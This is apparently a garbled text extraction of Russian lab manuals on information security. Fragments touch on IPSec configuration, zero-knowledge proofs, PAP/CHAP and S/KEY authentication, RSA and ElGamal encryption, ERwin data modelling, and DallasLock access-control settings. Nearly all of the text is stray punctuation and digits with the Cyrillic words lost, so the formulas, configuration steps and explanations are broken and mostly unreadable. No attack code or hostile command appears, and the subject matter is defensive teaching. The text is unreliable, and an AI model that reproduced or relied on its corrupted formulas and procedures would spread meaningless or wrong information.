% IPSec D) %, ) , $ $ / $ ., 1l -
%
. %3 y - IPSec
IPSec / ‘2 ! , 18 3 P- . %
<2 | > # I $ %1 $ % IPSec-
. 3 b , / / *
(Security Policy Database- SPD), % 1 % % % % % L *
'y 2 % / ! , % - IP
% SPD. 1 ! ! % ! IPSec,
! ! % , ! Il % IPSec % -
IPSec! $ ! IP- , ! 1 ! -
, % , # % % , , $ 2% -
I % % % .IPSec%1 # # 3 #/ < >%1
/ , %1 ‘2 ! %1l '2% ! I % .
IPSec # I $ ! , — Authentication Header
(AH)  Encapsulating Security Payload (ESP). ! 6/ 1 I #
# ESP.
8 % % # # . %! - %
I''$ /' % ! ! IPv4d IPv6. 1 1
1% # 1% 1% . % 1% -
1 $ 2 3 % I % ! 7 1% -
% 2 IP- [ ..o % 1 %
1% % % #'
IPSec % % % # - . -
! ) % , %1 # ', # %l %
! % 2% 1 . %l | # ', #
% 1 / . IPSec # 23 %
) # 2 , %! - :
1y V % # - % % 3 ;
) % o, # % I$ ! , :
3 # ! - IPSec [/ %
firewall ( ! '2 ).) # 13/ % :
) - IPSec 2 -2 P, $ ! I % IP
% % ! % |, 2% ! ;
') bump-in-the-stack (BITS) - , IPSec < > 3 23 -
IP,%1 !$% IP # % % % ; I %
IP % ! , $ / % 3 -
23 % - T
) # ' - ('$ / / %% $ /
%/ ), , 6 Bump-in-the-stack (BITS) - , # A
2/ 1% BITS- 2 IP- %%
* 7
6 % %/ % ! % 2 # , $ -
(TCP) o % ( IP)! # -
3 . % 3 # , % - . % % . -
% 3
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* 7
8 1% %,$ ! $ 3 1 /
! IP- L * - - ! ( %
‘2% ) / $ ( 1! )
332 % , - ) 13 2 ESP,
‘2 I $ ) %
%3 1/ .ESP! & I,
, -2 ) #2 ) - , 6 %
$ I'$ ! , % % 3
A4 # 1%
6. 0
1. ! IPSec Microsoft,
3 .
2.)1% o] % « # », MMC 1%
3. %2 # I # % «! # » « # » 1#
4. | # « ! IP-! » 1# «! # »,
5. 1 # % Active Directory, I % # 1# «
6. ! # ! — Secure Server (Require Server).
7. # 13 .
8. # # % % ', /
9. # , H# IPsec.
10. | # , # - ! # (Require Security).
11. 2% - 2% .
12. # 1% ,$! 11 # ,
13.. ' # # http: 1 # «! #  ».
14. # / .
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15)) # #

16. "% , H# 1# ! #

17. # , # P, 1 I #

18. # 1 .

19. $ # IP

20. $ 2! IP $! % % # 13 %

21. % , # % (  http—80, https —443).

22. '% ! % , 1 ( .

23 # % # , H#

24.. ' # (permit) $ /I 6% .

25.* # 2 # internet explorer !
8080.

.5.13 Secure Server

. 6. ! 1% 2% %
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0 : # ! $ # # IPsec % %
- MServer 2008.

7. :
1.*$ %1 . % IPSec:
2.* %3 IPSec.
3. IPSec
4. $ % IPSec
0 -4%
+ , , <. o ( , . .* ., Osipenko_|_p@mail.ru
+ : 10.05.03+, % - ! # % / %
33 , % - %
L |$
1. :
+$# %1 $ , 1 I #
! . , 112 %% / . %% - / ( % $
$ ), 1'$ [ 3 , % - 6,, 3 -
l%-
2. * .
5  # | , 11 2 %% /|, %% - |
( %$ $ ) [$ ] 3 , % - ;
0 :
5 % ! . , 12 %% / . %% -
/ ( %% $ ), 1'$ / 3 , % -
6,, 3 , % -
3. " - ( :
5 $! 9:= 205, 215, 403.
5 *( “% # % o 6 . ' i
- #1/ - , %/
5
- ( -
- " 9%
- 9
- .exe.
4. 2
5 T+ $# 2 % /%% ', — RSA ( " -
9% ( - ) 8#-(% ( 9 )
5"
# % "% (, % - ) ( . Zero-knowledge proof) — -
1 # l$ % 1 y
23 6 # . 1 % , , % - % %
# 1 ¥ 1 I # % % :
5 " : 1 # . 23 ! 6 % * -
23 2! $ #2
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5 ' : 1 , 2! , 1 «$ », 23
%1 ' #  * 23 2% % 1'1% % ;
5 1 : 1 , 2! , 1 «$ »* 23
$ % % , ' $ 1 .
! ! % 2 % " % : -
" 9% 9
* " 9% — ! / # % -
" % , I % $ % 2 '# n
* # 6
1. - ! ! % # /% -% n, 23 -
% 1 1#] /I $ p Q.
2.%# # ! S 1, n-1), % n % $ -
28 V=¢(mod ). $ Y, % - % $ -
2% # . $ S % 28% .
1% 6
1. ! $ r (1, n-1) $ ? @ ABC
2. $ ! IO 1) .
3. A% D @#EABC ! B.
B y? = x*vé(mod ri). : $ "%
3 / 23% . % $ #
% .
% 1 % 6 ( $ 3 #
1 # ) 6 # , 3 t .
1% # # , 123 % %1 #
* ( - " % " 9% M
% % % # $ 13 , % /' % % # % ,M! -
% , # % / #
* # 6
. - ! ! % # /% -% n, 23 -
% [ 1#] /I $ a.
2. T % / # v, - 6
E 4GHI <€4) = ,s- 6 K E ABCJ
3. 1 $ $ # , , -
- f$ $ ly NOy .
4. 3 $ $ R: Lw® ABC
18 6
1. $ ! $ $ r(0<r<n), $ ? @RABC -
$ QA7?.
2. $ - $ (0< < (n+1)) $
3. 3 7 S @#KABC
4. $ . @ # L -2 f % Ly NOy, $ T LL#SRABC
% # $ , z=x z!=x.
* 9 — # % " % , # I -
I % ,%
8 1. ! %
1. 1 /I % a9, $7% q|(p-1).
2. ! $ uVv:w, 23 % % !
3. | 6% g, 13 /I @, -1) %23 g.
4. 1 $ 2 % / % (9,p,0), 1
2% - ) # # 13 m.
#2 /2. t % ! % # 1% 2
8 2. ! % #
1. 1 $ # , @
2. ! 2% (13 / 1 g1) $
E XY ABCZ.
3. 7 v % - $ : N@U] O,4E4RAE ,
v Q.
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8 3
1. 23
? X"ABCZ
2.
7%
$ , T\
3.
4, $
6. 2
< #2
" 9%
5 |/
5 , %
5 , %
* - %
/ / ,
6
+ # /
-2
1
5 |/
5 , %
5 , %
* - %
/

|\|

%

$

\%

T X #E ABCZ

%

1%

) $ !

%1
% 3

$

%1

2%

%

/

%

_[@uga2.

$

7
%

%
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$

\Y

$

D \0@ABCW .

#

-9%

%1

I #
1

I

%

ro<r<q),$

23

Z=X.

%

I

% %

% #
- 9%
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o1 o1 01 ©

1 1 #
@% 2%
. % 1 ;
L % 1%  $
. % %1 % %1
/ , %3 !, |/ %
$ 1 %1 #
9% 18 .
(- 18 .
9 18 !
% 9% %%
L4 " 9%
% (- %%
5% (-
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3.. % 9 %% #:

.B6.* 9

0 :

* 2 % /%% ', - RSA ( " 9% (

) 8#-(% ( 9 )s , 6 # 2

$ 6% % ', .
7.
1. # .
2. # ! %
0 -43%
+ , , <. o ( , . .* ., Osipenko_|_p@mail.ru
+ : 10.05.03+, % - ! # % / %
33 , % - % .
H |$
n $

1. :

+3$# % 1 , - , 1 I #

! , , 1 2 %% / , %% - / (
$ 5/ ), 1'$ |/ 3 , % - 6,, 3
!%-
2. * ,
5 # ! , 11 2 %% I, %% -
( %% 3/ ) 1'$ 3 , % - ;
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S N o]

% ! , 112 %% /| . %%

/ ( %% 3/ ), I'$ / 3 , % -
6,, 3 , % -
3. " - ( :
5 $! 9:= 205, 215, 403.
5 *( % # % , | , 6 - ,
- #/ - , $ /
5 .
— krypt.exe;
- .exe;
— CHAP.exe;
— S/KEY.exe.
4. 2
5 D% # 3 , % 3#2
IPsec - % Microsoft Windows 2008.
2 : # IPSec, % % %
5.
" $
% $ - - , , & %
# %
$ # ! % %
%1 !'# % .18 % 3#2 3/
I .
5 - - 12 $ 1 #
5 ( % ) — - 1 $ 1 | #
|
2! % , - ! # 6 % , 23/
2 # % % - % 6 % %
5 $ -- , 13 - ;- :
5 1 $ )— $ # $ . 23 1& ;
5 0 $ - -, 3 # 23 !
%
5 ( $ - - , % 3
& % ;
5 ( -%/ % ,! $ 23 -2 , #
/ / , / % 1& , "% ;
3% $ - , - %1 # 23 % 1 %
1) & - - , - ;
2) & & # , , - ;
3) %/ % , - % ' 1& ;
4) $ 1 # ' , 1& % , %
/I % %
$ , , - , 23
$ #% 1& ., % , -
5 (« # # ») — , % ! 1& , - :
5 | (« # # % »)-— , - (% - , €Token);
5 ¢3 (« # # 3 »-1% $ ;
$
* , - % 3 - , -
# % . % I % % - 2 :
5 I' $ .
5 3 %/ % , - # % % % (%
%' % , % - , % - , -
1 # %' 23 - , - ).
% % % ! $ 2 % - %/ %
% %
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" - " # $ , % - ( ,
Challenge), % # 2 B # $ # # /$
# # # B./% 6 % %1 # 23 %
1. $ $ % %  (Challenge).
2.1, 3 , % . -
$ % ! 2 ., % (Response)
3. . % , , ' - ,
% .
# % %, $ %' , % -
-, 13 - # %1 # $
"% % " 2% %, $ 1 % 13 !
- # , % - , % % % (Time Stamp), $ %
13 .8 1% 1& # , # n
13 I # $ %
" , $
Password Access Protocol (PAP). % % % 6, % %
, - 2  (Password Access Protocol, PAP).
# 2% , - # % $
% " - # 23 ! , , %-2 , 2
# % # 2
I % 9, %- %
, 9 $ % Sniffing.
%' , 1 23 % % % /
%1 #2 $# # ,$ % , -2 -
#
' ! % # % , /6
% , - ! # # % Sniffing,
%' %1 | # /6'
" CHAP
* CHAP (Challenge-Handshake Authentication Protocel)
* ' % [ RADIUS (Remote Authentication Dial In User Seryice
EAP (Extensible Authentication Protocol). % % % $ ( , - )
$ 1% % " - "
1. $ $ N o
2.1, 3 N, ! % # P 3 $ 1
H1 = Hash(N, P}* $ # .
3. - , 2 1% "% ! $ $ 1
H2 = Hash(N, P1) P1, / $ ! H1 H2,
# # $ )" %
3 % , - , 23 # % 2 , -2
K 6% 23 # # :
1 $ $ N1 ' % % , -2 (A);
2.1, 8 , ! $ $ N2, % Hash(N1,. )
3. # 13 , 13 " $ $ #
oy % 1 Hash(N2, ) ro
4. | # 13 , $ 13 "
$ $
" 6 S/IKEY
* SIKEY %% , % % % # -
/ , 13% K. 1 1%
(Lamport's Hash Chain Method)
*H# - # o, , %
a b c
a b a b <bc-=
d
a b a bb fdb < a =g
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$ # # / 25 Y 23% I %

, % # %1 # $ 2 1 H # ,
$ # # / * -
$# K | , R $ $#
# 1 % 3 % - .
* - , - 23 % I O
1. * # # ' , -2 :
2. 13 # 2 3 % - I
3. *# # # % N-I;
4. % /"o -2 H $ % 2 #
$ % ] 3% .
5 $ 2 , # # $ , - % , $
3 % - - ! % # # %
$ % , -
% 6 %1 , , $ $ $
% 1 / % 1 # # , %' %
| # 2 # # - % 8 $ , $ I/ % %/ % % , -
!/ / - - #
3 # 2 / , $ , % %
# / 2% $ $ R 8 $
$ % % K 1 KIIR, # $ !
- # Lx $ / $ R,
$ $ -
6. 2
PAP/CHAP
< #2 - 1/ , - PAP/CHAP
1 . , 1 1 I # :
5 |/ (% , 2%, L)
5 , % 1 :
5 , % 1% $ )
* - % %1 % %1 ' # % %
/ / , % 3 o/ % |/ 1 I % # 1
6 , 5! %1 ! # #/ .
/| 6 ) % 6 3 -2 PAP
CHAP. * , $ 1 23 1 , %
I % ' # , - H # 1 $# 1 /
CHAP. - / % % # # 3
$ / $ , $ /- - # # % SHAL.
S/KEY
< #2 - , - S/IKEY
1 , 1 1 I # :
5 |/ (% , 2%, )i
5 , % 1 :
5 , % 1% $
* - % %1 % %1 ' # % %
/ / , % 3 o/ % |/ 1 I % # 1
6 5! %1 ! # #/
YU % L $# % % % - - -
( % # ). - / % %
# # 3 $ / $ , $ - -
# # % SHAL.
2
1. . PAP/CHAP.
2. . S/KEY.
$ $ #:
1. . % PAP/CHAP %% #:
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%

PAP/CHAP

SIKEY %% #:
2.0 - SIKEY
- CHAP!! % %
% I $ - . %
71 I $ /I %1 $
$ % - % 2 2, #
1 I # % $ ' $ % 1%
$2 9
%
-43%
<. , . .* ., Osipenko_|_p@mail.ru
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+ : 10.05.03 —+, % - ! # % / % ,
33 , % - %
; , $
5% RSA > -
1. :
+$# %l % -, RSA 8#-(%
2. % ,
5 # ! , 11 2 %% |/ %% - /
( %% $ |/ ) I$ 3 , % - ;
0 :
5 % ! , , 112 %% / %% -
/ ( %% $ ), 1'$ / 3 , % -
6,, 3 , % -
3. " - ( :
5 $! , 1 91:= 205, 215, 403.
5 *( T % # % , ! , 6 - , -
- #/ - , %/
5
—  krypt.exe;
- & %% - % % $/ ', RSA 8#-(%
«Generaing_parameters_of RSA_and_ElGamal»;
- & %% 8 < %% ', $ -,
RSA «Cipher_RSAx;
- & %% ', $ -, 8#-(%
«Cipher_of_ElGamal».;
- .exe.
4, 2
! ! ! # ! % RSA 8#-(%
6 I/ % # 23 (1 # , % -
$ ).
5 # 1% $ ', / ! o -
(% , % .8 ).
5 * %% # ( % % #2 %' ! % % -
% 2! % 23/ %% :C#, ++. %% 1 14#
%% 1
5 ,% # $ ! , % $ 1, %%
I - ( % ).
5 # $ ! 2 ! ( 6% 3 %1l #
#/ ).
$ # / I+ )
5. "
% RSA 1 1978 . - (Rivest),9%  (Shamir) %
(Adleman). % $ % ! % % . RSA %
- % % % % 2% % %1 ! # 1% ', -
!/, 1% 6 -, % % 2% % 2 2 -
$# 2 $ % % / / / - / 2 -
$ ",
)1 # % , - L #/ $
$ / %
g2 $ I # $ . Q, , 2
% $ 12 % # N, # % % # : N = P*Q.
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2% 12 $ % ! % ,$ ! #
1< K RJI(N),
) K, IMN)=16 K JIN) % ),
J (N)=(P-1)(Q-1),
JN) —, - 8 8 J(N) $ 1 #/ -/ $-
1 N, % N. $ %
28 K JN) 1 L# % % ( # % ).
, # ' % , $ 2$ K [
6 % K, , $
Ke*  S1modJ(N)  Kc= *mod(P-1)(Q-1).
% S! $ % # $ .-/ $ ab -
% % 2 n, (a—b) n, #
aSbmodn a—-b=n*,t—- 1 # - $ .
28 K #2 Y /I, 2% K- " -
M L% ! ! $ ., % % % N.
*l ", ", $ ( 2% ,
13 ) 23 , % ( # % % # -
%32 1% ( ):
C =M mod N.
$ Y %% ' # % ( 2% K,
%% ) L, %
= C“mod N.
* . Y %1 # DEM) =M (D - - Y , E -
- ' )
" % Ke*  S1modJ(N), # - ) ,% 1 #
23% TKe* = 1+J(N)*. D(E(M)) = (M) mod N = M®™ mod N = M ™" mod N.
*  t=0 D(E(M)) = Mmod N.
% RSA 2%, 28, 13 %%
1 % 1 1 #/ -/ $ [O;N-1], N-% # . % 1 -
- % 1 % 1 % 2 N, 3 % ! $ 6 % ,
! % % 2 N.
% 6% % 2 6 % Ko % # N ', C. % - -
2% K, $ P Q M.
+ RSA
! % RSA % $ 2 - # % %# %l # | 3 -
/ # | # $ %n# $ # $ 2% ¢ o
/1 $ P Q N %' $ 1 $ N
% 1 . $ M C,! 2% K
| % /1 % .l 6 $ %2 $ #2 6 -
- #2 1 # .
- RSA % 1000 % - %% $ -
%  DES. %% - - 100 % %% - DES.
#, - I # $ $ . %% $ % RSA | % %% -
$/ %
x2 23 - 2% % $/ % ., $ % -
$ # / ( ..
% < (
3 $ $ ! 6 % $ % % %1
| # 23% % , % ' % $ . %/
% #2 %' %1 0 #! 6 % % 3#2 23 -
% .
$ an % 0 (an=1), 1 a*a'S1modn%1 #
a*a —1=nt— 1 # - $ % 1 [0, +¥ ). a n , -
t a 1 t, % a'l # 2 ! 6 -
-1 1 -1 -l_1+nt
% :a*a Slmodn* "% 1 a*a —1=n* =—.

a
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% RSA.* # % $ % #2

%" ( 29, $ / ! , ,
! % #, % % % % ( % # ! % # # Y
! $# / ). % % .
1. ) @n:1( % Yy 6 % 3
2. 2! t1[0,+¥ ) $ %
+
2., $ 1 L+t % $ %, 2.
a
-1 _1+nt
+%$ 6 1 ! 6 % =
% ! $ % , % /
$ a n( 3 ! 6% ).
I % # %  RSA
*H## # /$ # # 2 13 % . #
% RSA.* # # 13 . ## -
$ .8 % % RSA 1 % # $ # 13 - # #
% % # # # #
# B
1. *# # ! #/ L # /I . Q
2. # # $ $ % N=.*Q.
3. #  # $ , -2 8 - J(N) = (P-1) (Q-1), ! $ % 1 -
% $ 2% $ % :
1< K RJ(N),
) (KLIN)=1( % ).
4. *# # $ $ 28 K, # ' %
Ke= TmodJ(N).
5. *# # # 2 $ (N, ) 33 %
# A, 23 # 2 13 :
6. *# # ! / ! o1 I %1
| # # $ M=0,1,..n1
7.5 #  # Y , # $ i
, % = i°modN (/% ( ) %% C 2000 i # 2
# B
8 *# # ll 2 %% Cll 23 vy # -
2% Ke, , % M; = icmod N.
# ! $ # # $ i 2 ! /-
13
=% ( > -
1% 8#-(% , 1 1985 ., # Y - -
: # 1% 8#-(% ! 1 #2 $ / %
$ % : #/ 1% *, # $ % : $ -
% #2 [512; 1024]
I % 1 # $ P L#/ -/ $ G X, %#/ P:G<., X<..
I % $ - $ , 23 %
1< <.-1,
) (K, P-1)=1( % ).
PG 2 , % - , X K-
$ % 2$ Y =G'mod P.
$ 13 $ % $ ,! 23/ Y
a=C mod P
b =Y M mod P.
# Y 2 I #
% a # xa=G%modP.
+% % 1 b: Y=G'modP, b=YMmodP =(&"MmodP =& M mod P.
d=G“mod P, b=GCG*MmodP =4M mod P. % M:
M=b/dmod P.
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/1 M 1 ' # 1 b=&MmodP a M/b=1mod P.
' 1 a*xSbmodn % % % % 1z = x/b.
a*zS1 mod n, z I % 6% % a. z % 3#2 '
% .
z=x/b=>x=z*b mod n.
* 0% % 2 /% /1 M daM=bmodP.! $% z
1 z = M/b, ! I % 6% % & % 2 P:dzS1modP. M = z*b
mod P = &*b mod P.
| % # /% 8#-(%
* # % $ % #2 %' (
321 — 22 o9l - ), $ / ! , ,
! % #, % % % % , ( % # ! % # # Y, -
! $# / ).
* # # # ! # # 2 13 ', % ,
# 1% 8#-(% K H# # 13 , # #
- $ .8 % 1% 8#-(% 1 , % # $ # 13 - # -
# . % % # # # #
# B
1. ! # I # $ ..
2. ! $ G, G<P 2% X, X<P.
3. $ 2% Y=G'mod P.
4, A 2 $ G, P Y.
# A, 23 # 2 13 .
5. *# # ! / ! , 1 / % 1
| # # $ M;=0,1, ..., n-1.
6. $ ! K, 23 %
1< <.-1 ) (K P-1)=1.
7. $ $ # ', ca=C mod P.
8*x# # ", , # $ b ,% b
=YMmodP (% ( ) %% (a b by, ...h.) # 2 .
# B
9. )/ ! 6 % & % 2 P.
10. . ', M; = b*a™ mod P, )
# ! $ # # $ i 2 ! /-
13
# ! %%
1. 9, 1% 8#-(%
1.9, 1% 8#-(%
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. 4.9,
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$ % -

, :RSA 8#-(%

/% -, 8# (% % % 3

RS :
1. * % % -, -

[, %2 # 5% $ %3 % # 1 # $

% # 1& % # % % .

2. * ! % . $ # 3 6 $
I # %1 # (.. $

3. *- , % /1% 8# (%

% 13 % ! 2% ( RS ).

% -, 8# (% %

% RS $ ) -, $
$ # , $ % $
7. :
1. $% %3 RSA DSA?
2. 6 # 2
3. 6 3 2 ?
4. 2% 6 ?
0 -43%
+ , , <. ( ,
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: s $
(
+ : 10.05.03 —+, % - ! # %
(« 33 % % »)
, T« $ , % - ! % / % ».
2 $
1. :
5 +$# # # I $ , % - ! %
/ %
5 | # % % , % - !
% ERWin.
2. * ,
5 # - # % % # #/ "o %1
% I'$ %% ! / $1/ $
5 # # , % - - %% - / , # #
%/ $!/ $ ;
5 1 # % /$ % - # % S/
Ty 7 / $|/ $
0 :
5 % ! % $ % % % % % , 13 % ;
5 % / b
5 I #2 # # % % / % ;
5 I #2 # 33 % / %
3. " - (
5
- - $! , 3 % $ # /
-+ % , %  PLATINUM technolgy.
— BPWin ERWiIn.
- * $ - % o« ».
4, 2
+$# # , #
=1
* - #1/ T« - H# , % - » « % # , %
- »,« , % - » « $ , % - » % , % -
1 1'# % %
=2
, % , % - %
, % - / -/
)2 % - 23 %1 % %
, % %1 - % 3 7 2 %1l 2
- % 3 $ %1 2 - %1 2,
, % -2 [ $ ;
) , / 6 $ % (
% 123 ) 2% !
5 ,%-2 , 132 I/ / % % 6
$ % ( % 123 );
5 # ! / 123
6 $ ;
5 $ 1& , 23/ 1232
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) 21 2017 2018-2019 % ( -

% 21 % 2 % $ / % ,
I'$ ! ! I % / /
=3
! - , % - ! -
% % (% % % 1 2 ).
=4
* % # % ERWin.. # % # % % -
2l ! % ! % ,$ 23
I % % # # 3 , 6% I # % #, $ 2
- 1 ! !
5"
- , - % ! 1 3 #
23/ -
% # * I $ ! % # , -
/ , . %- I %1/ % % % % % -
%, $ 1 - I 1%/ , - , 1 I #2
% 2 ' 2 - , - .
) 1 # .0 % ! 1 I # 1% $
% # I # % # 123 /
! ! 6,, / % %
) # . % ! , / % % ,
% v
# ! % ! 3 23 #
. % $ # . % % ! , % -
# % %1 3! ! $ # # % % % !
, - % ! .
< - . % # , - % ! -
% - % - H®% % $ % - % .
% # . % ! 1 # # -% , %23%
, #2 , $2 - I
' , %% / '
1 , 13 $ , 23 -
, % - ! I % $2
- - . "o , 12 ! 1993 .
- (1 . "o ( -2 15% 2001 ).
- R 14% 2002 )( 28.
- 21.07.1993 N 5485-1 ( . 29.07.2018) " "
- " # ", %- v, %] [ 3 , % -
- " 27.07.2006 N 149- .
- " # " %% $ " 29.07.2004 N 98- .
- " # " ! # " 02.12.1990 N 395-1.
- " # "1 6 " 06.04.2011 N 63- .
- " # " #1/ /" 27.07.2006 N 152- .
— Trusted Network Interpretation. National CompuBecurity Center. -- NCSC-TG-005 , 1987
( - "1 " / , - ).
- ( : : % /'$ % -
%
! , "13% % " %
1& - .
% ! 1 23 '
- 23 % , % - !
- , % - !
- $ 2 % , % - ! -
8,, # 17/ % .
* % I/ % I # % # % % ,
! %% % - ! 1% ! /
I %/ $ -
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% % %3 % ERwin 5 #
% - % Windows % % %
(3 # - #).
+, %- / %% % !
, %- |/ % ».
6. " (< )
1. % # I % # . "o
! % / % % -,
I
2. * # 3 232 % , % - !
( % ),
3. # ! $! I/ %
$ %%
6 3 % ! /
# 12 3 # # 3
- , - % . # , $ 2 %
% # ,% % 3#2 ER- %%
% # % , - — # % .
! - %
%% $ / 11
, 23% % 3 * %
2 $/ i 25 . '23% 6 % ! %
3 , v # % # . #
$% 11 % % $ % .
4., # # ( # ) L%
% # %
7.
0 1
1. # ! , "1 "
T # % % %
T # % % %
T ) ! #2
2. % - % : .800, , - %1 | #
T %
T %
T %
3. %
T % % #2 , % -
T , # / %%
T % 2 ' % , % -
4., " #/ [ #
T ] ! # 1 1
$ #
T ./ 3 # % % #2
T , 1 3 $# - | # !
5. - #/ #
T - # ' 3 #
T , 123 $
T % , 23 ! # %%
6. " ' , % - !
% 13 :
T % 6 %% -
T 6 / -,
T 6 , -
7. "13 S | 23 !
T, - #
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! ER- %% %
«%0
! , % -
- % I , 9% -
# 3 *
3 % 1 %
3 $
% $ I #
# % ! *
1 3 112
$ - '% [}
% $
3
# # !
! !
»
-6
, 23 - #
"o _6
"(9 ,2001 ) !
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A H4dH4w 444N 444k

o 4440 o

A4~ A4

H*

PobdPE+

S8

X

H*

©

%

H*

H*

# 2

23/

2
, "1 "/
% %
% %
! #2
% - % ; .800,- # %
%
%#H2 % % '$ %
% #2 , % -
6 - 8 , % 8 /
"I, %- ., %- |/ [
!%- - .
l% " "
!%- [} $
) $ y - %
- #/ #
/$ 3 , - # , % -
# # ! 3 , % -
! ', , % -
/ ! # 1
%
, - #1/ ! "13/
7 7
! ! ;
2 ! ;
% ;
-6%
, , <. o
., | +. ., aia2004@inbox.ru
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! # %% : 10.05.03# $ ( ,
10.03.01# $
- " - $
DallasLock 8.0-C. (
1. :
5 * $ # $ - , SH O, - # -
% 1 # 3 , % - - (+
) ) «DallasLock 8.0-C».
2. * ,
5 # % , %1l ! + ) «DallasLock 8.0-C»,
5 # % 3 1 .
3" - (
5 . :
- %% - / 3 , % - .
- * # % #2 * ) - % ( )Windows 7 Profes-
sional.
- * %% - VMware Workstation Player.
- # %' Windows 7 Professional.
-+ ) «Dallas Lock 8.0-C».
4, 2
5 +9% $ / .
5 % 3 % % 1%
5 $ #
5 ) % ( % ) % -
5 ) , % % -
5 ) % %% #
5 ) % , % - , 1
5 "'
% 3 , % - - Dallas Lock 8.0- $ -
3 $ 33 % , % - % - % "%
/ % % , % - "% / -
$ 33 %% % 1 3 # % , % - ,
2 % 2 % / % , % ! % ! -
$ 3 , % - % % % 7,4# - .
% 3 Dallas Lock 8.0- %% % % % 3 , -
% - - % / % Windows Linux %1 #2 #
, - # .
% 3 , % - Dallas Lock 8.0- # / 3 , % -
% / % , % # / I % !
, % - .
% 3 $ # / G / , / %
% # ) / %#2 |/ ( '/ ), #/ %#2 |/ .1
| # % # % #2 % #2 # -
$ # ¢ ) 1 % %
Dallas Lock 8.0- ! $ 3 , % - - % -
#2 / / # , % # / 1 3
1 $ % - $ % $ # .
% () % , - % $% % $ 2
#
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+ ) Dallas Lock 8.0- 6 / , / , -
2 # :
5 1 / 1 / / % $ )
/ # # % #2 , 2% # , , * . %
$ % # / / % ;
5 1 $ % % 1 ! %
% $ / # , % % ! % ;
5 1 1 ! & % ", %% - -
, % % , / $ ;
5 1 $ o1 ! , $ % #/
/ / ;
5 1 % o1 ! , % % , -
- + ) 1 6 1 ! /[ % % -
Dallas Lock 8.0-;
5 1 - . ! ' - ;
5 1 %1 6 (8 ) 1 ! , $
/ % % 1/ / $ -
% #2 ;
5 1 8 . 1 ! / , -
%/ - % (1 % ) % %
5 1 ! 1 1/ ! , % / - -
% % *
5 1 , 1 , / 3% % , % $
% , ;
5 1 1 1 ! 1 ,
% , - , / ! #2 . 1'$ ! 1 % # %1 #
, Ho- , - , % ! 6 1 -
$ , %
6. " < )
1.
5 # 1 DallasLock8.0 .msi
5 3 # # I % % - Dallas Lock
8.0 /$ 1 .
5 # % « % #2 % ! », | # 2 , -
-2
5 % # , 3 % ( % ) "l #
% #2
2. $ # .
5 «$7 » # # Userl User2. # % % 6! -
-, % .
5 2% # % R # ! ' - ».
3.) # % ( % ) % - , I -
- 1
* 1-* #
: D:\Document\PDoc:
* # # *
User! RWX
User: RWX
: D:\Document\SDocs
* # # *
User! R--
User: RWX
: D:\Document\S<Docs
* # # *
User! -WX
User:
R-$ TW-—  # , P X —
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5 # PDocs, SDocs, SSDocs Documents D.

5 % % 2 I # «DL8.0* L % L # « -
».
5 | $# - / # I/ %
% 3 «* f # », » « »« H# o» | # $
# .
5 I/ # /' % # ' / , !
# (! , % 1% , 1/ 1& ,
1/ 1& , $ ' , # ' ) % 1& .
5 , $ ! # 7% « »,
1 % # ,1% % « 2% », % , $
! 1 # , # , 1 /| « | » « » - ,
/' % % # %
5 # / # % Userl User2, # -
. #
4. ) , % % -
* 2-—* , #
" : C\Windows\Notepad.ex
* # # *
User: R-X
User: RWX
C:\Program File\Windows NT\Accessorie\wordpad.ex
* # # *
User: R--
User:
R-$ TW— # ; X =
5 % % 2 , I # «DL8.0* L % L # « -
».
5 | $# - / # I/ %
% 3 < f # », » « »« H#o» | # $
# .
5 I/ # /' % # ' / , !
# % , H ; ' $ ' , H '
) % 1& .
5 , $ ! # 7% « »,
1 % # ,1% % « 2% », % , $
! 1 # , # , 1 /| « | » « » - ,
I/ % % # %
5 # / # % Userl User2, # -
5 . # % # 1 , 1 / , 1 - L
# , % -2 , 2 1 /
5.) % %% # .
5 # ZPSt # % %% ).
5 | # ZPS # Userl User2.
5 « # » | # % 2 «( ! # », % «*
% " % $ 2 » | # « - », ZPS! #
% « # » « 1/ 1& », # # ! %
( % ).
5 % C:\Windows, C:\ProgramFiles, C:\ProgramFiles (x86)} -
ZPS« # $ »,
5 # / # % Userl User2, # %
%%
7. :
1.+ % + ) Dallas Lock 8.0 C?
2. $% 2% - - $ ?
3. %/ % - % 7

228



4, * $ 1& 1& - ?
5 1 % # ?
6. ! 1 # + ) ?
7. « % %% »?
0 —-43%
+ ’ |< ) ! / $ -
., 3 , % - s e $ , (3
# 3% , l.grishhenko@corp.nstu.ru.
+ : 10.05.03+, % - ! # % / %
I $ , % - ! / , % - |/ %
, Y %% - [ , % - !
+ 6
1.
3 S % % %% % ' $ % * .
$ ! % %
2. * ,
5 0% # % 3 , %.- A . % -
%
O .
5 % % % 3 , % - -/ % % -
%
3.. :
5 * (< -1,2((- , —2048! , HDD50Q! ) Windows, Kaspersky Removal Tools, -
« », Dr.Web CurelT.
4. 2 :
5 + # 2 2 # $
% 3 % #2 %% I $
5"
% #2 -6 - # I # % % %%
%1 " # "ol % %%% (.." 1# " 1), 1 # $ -
1 # % #2 Y %% / , " -
1 " %% $ ! . $ $ . /
"1 " %% 1 -1 # ( % ,
, FAT- ! - " " 2 % # ). %
12 / %% 2 % # , -
/ V¥ 1 % , -
%% , / , ! 1, '$ % %% ' ! 1 -
%% 1, 1
% #2 %1 # , % # 13% 1 % , 2! ,
% 23/ % #2 /) , %1 " # "8 $ 3
%1 " # "6 s .. % # . $ ! 1# ,
/ ! # %l $# 2 !
3 % #2 |/
% ! ! , #H2 I/ % # % 3 % #2 -
/
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3 %1 # # :
5 I3 3 , % - , 1 / . $

, # 1 23/ %% "1$/ # ;
5 , $ % 23 % #' # # 1 % ;
5 - %% 3 .
13 3 , % - # 3
+% 2 6/ :
5 ,%- - s %/ | ;
5 $ 3 - # , % - , %
, 3 % %% / % , # 1 23% %% %
"1$ % % # .
) % ,$ 13 3 , % - $# 1 3
1 / $ DV % % - / %% 3
.8 %% % 1 # # : , (, ), ,
,, H - (%% ).
* %% - 2 1 # , , 1 % #/
/ . 8 %% 2 , % , ! % # %
- % %! - ! . %! -
1 % - | , 6 23 13 .
% 2 1% $ $1 1/ , . $ # 3 %%
% 1 # # , "
% ! % , 3 %% % 1 ,
$ - % # - # % -
, %% % - % .
* 0% - % 2 ! . $ % 2
%% % / ! ( $ I - ! 1
). * , 3 6 % % %% % ! 1 V¥
6 % 3#2 %% - % 1 2! % % # %% %
J ! % . / / 13 # 2 .
%% - 2 # " # % " % $#
, ! , , % , | % %% , % , %/
%, % 2 1 . %,$ '$ % 2 , #% - %
% ! % % / %% / , L* 5 % #
- % $ $2 , 6% %% - .
, / % ,%1 #2 13 # 3 % %
* 0% - # , 2 % % #2
/ 2 13 - % # 2 % % 1
, 132 / # 2 * # # %1 i #
